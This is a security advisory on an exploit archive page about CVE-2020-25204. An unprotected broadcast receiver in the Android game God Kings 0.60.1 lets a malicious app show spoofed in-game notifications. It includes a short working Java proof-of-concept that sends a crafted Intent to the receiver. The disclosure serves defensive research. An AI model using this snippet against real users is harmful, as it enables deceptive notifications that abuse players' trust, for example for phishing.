

God Kings 0.60.1 Notification Spoofing

Authored by [Julien Ahrens](#) | [Site](#) [rcesecurity.com](#)

Posted Oct 28, 2020

God Kings version 0.60.1 suffers from an improper authorization issue allowing for in-game notification spoofing.

tags | [exploit](#), [spoo](#)

advisories | [CVE-2020-25204](#)

SHA-256 | 0739b7472a6c8181be50dac6e880dba434850aeb93bca40ab3c19da4c9c1fd8c [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

[Change Mirror](#)[Download](#)

RCE Security Advisory
<https://www.rcesecurity.com>

1. ADVISORY INFORMATION
=====

Product: God Kings
Vendor URL: <https://play.google.com/store/apps/details?id=com.innogames.gkandroid>
Type: Improper Verification of Intent by Broadcast Receiver [CWE-925]
Date found: 2020-09-07
Date published: 2020-10-25
CVSSv3 Score: 5.5 (CVSS:3.1/NV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)
CVE: CVE-2020-25204

2. CREDITS
=====

This vulnerability was discovered and researched by Julien Ahrens from RCE Security.

3. VERSIONS AFFECTED
=====

God Kings 0.60.1 (latest)

4. INTRODUCTION
=====

IT'S TIME TO BECOME THE WORLD'S GREATEST KING!! Compete on the ultimate battleground against epic monsters and tyrannical enemy kings in the vast 3D world of God Kings! Raise an eternal empire and build an army, the likes of which have never been seen! Your strategy, your victory! Summon legendary Guardians and unleash devastating damage upon all those who stand opposed! Join forces with other strong kingdoms and grow your influence on the battlefield together!

(from the vendor's homepage)

5. VULNERABILITY DETAILS
=====

The "God Kings" app for Android exposes a broadcast receiver to other apps called "com.innogames.core.frontend.notifications.receivers.LocalNotificationBroadcastReceiver". The purpose of this broadcast receiver is to receive and display in-game push notifications to the player.

However, the app does not enforce any authorization schema on the broadcast receiver, thus allowing an attacker (malicious app) to send fully customizable in-game push notifications to the player. An exemplary exploit could look like the following:

```
Intent i = new Intent();
i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
i.setComponent(new ComponentName("com.innogames.gkandroid",
"com.innogames.core.frontend.notifications.receivers.LocalNotificationBroadcastReceiver"));
i.setAction("android.intent.action.MAIN");

Bundle bundle = new Bundle();
bundle.putString("title", "title");
bundle.putString("body", "body");
bundle.putString("tickerText", "tickerText");
bundle.putString("smallIcon", "smallIcon");
bundle.putString("largeIcon", "largeIcon");
bundle.putBoolean("displayedInForeground", true);

UserInfo userInfo = new UserInfo("1", "2");
bundle.putParcelable("user_info", userInfo);

i.putExtra("NotificationExtra", bundle);
sendBroadcast(i);
```

6. RISK
=====

A malicious app on the same device is able to exploit this vulnerability to show arbitrary in-game push notifications to the player. The specific problem here is the assumed trust boundary between the user having the God Kings app installed and what the app is actually doing/displaying to the user. So if the player sees the in-game notification, it can be assumed that the shown content is also trusted by the user.

7. SOLUTION
=====

-

8. REPORT TIMELINE
=====

2020-09-07: Discovery of the vulnerability
2020-09-08: CVE requested from MITRE
2020-09-08: Contacted vendor via their security
2020-09-08: Response from vendor
2020-09-09: MITRE assigns CVE-2020-25204
2020-09-09: Sent a full apk PoC to exploit this issue
2020-09-17: Vendor states that they're working on a fix, but the initial disclosure deadline cannot be met
2020-09-17: Disclosure deadline extended to 24th October 2020
2020-09-25: Vendor states that they've decided not to fix this issue in due time
2020-10-25: Public disclosure

9. REFERENCES
=====

-

[Follow us on Twitter](#)

[Subscribe to an RSS Feed](#)

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11security 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older

File Inclusion (4,165)	
File Upload (946)	
Firewall (821)	Systems
Info Disclosure (2,660)	AIX (426)
Intrusion Detection (867)	Apple (1,926)
Java (2,899)	BSD (370)
JavaScript (821)	CentOS (55)
Kernel (6,291)	Cisco (1,917)
Local (14,201)	Debian (6,634)
Magazine (586)	Fedora (1,690)
Overflow (12,419)	FreeBSD (1,242)
Perl (1,418)	Gentoo (4,272)
PHP (5,093)	HPUX (878)
Proof of Concept (2,291)	IOS (330)
Protocol (3,435)	iPhone (108)
Python (1,467)	IRIX (220)
Remote (30,044)	Juniper (67)
Root (3,504)	Linux (44,315)
Ruby (594)	Mac OS X (684)
Scanner (1,631)	Mandriva (3,105)
Security Tool (7,777)	NetBSD (255)
Shell (3,103)	OpenBSD (479)
Shellcode (1,204)	RedHat (12,469)
Sniffer (886)	Slackware (941)
	Solaris (1,607)

Login or Register to add favorites

- Spoof (2,166)

SQL Injection (16,102)

TCP (2,379)

Trojan (686)

UDP (876)

Virus (662)

Vulnerability (31,136)

Web (9,365)

Whitepaper (3,729)

x86 (946)

XSS (17,494)

Other
- SUSE (1,444)

Ubuntu (8,199)

UNIX (9,159)

UnixWare (185)

Windows (6,511)

Other

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us


- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

Rokasec



Follow us on Twitter



Subscribe to an RSS Feed